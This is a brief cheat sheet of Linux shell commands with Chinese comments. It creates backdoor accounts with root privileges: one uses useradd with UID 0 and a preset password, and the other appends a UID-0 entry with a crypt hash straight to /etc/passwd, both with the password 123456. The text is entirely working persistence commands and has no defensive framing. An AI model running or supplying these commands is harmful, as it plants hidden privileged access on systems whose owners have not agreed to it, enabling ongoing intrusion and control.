# guest:123456 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
# t0mcat:123456 perl -le 'print crypt("123456","salt")' # 密码:123456 echo "t0mcat:sahL5d5V.UWtI:0:0:/root:/bin/bash" >> /etc/passwd # 账号:t0mcat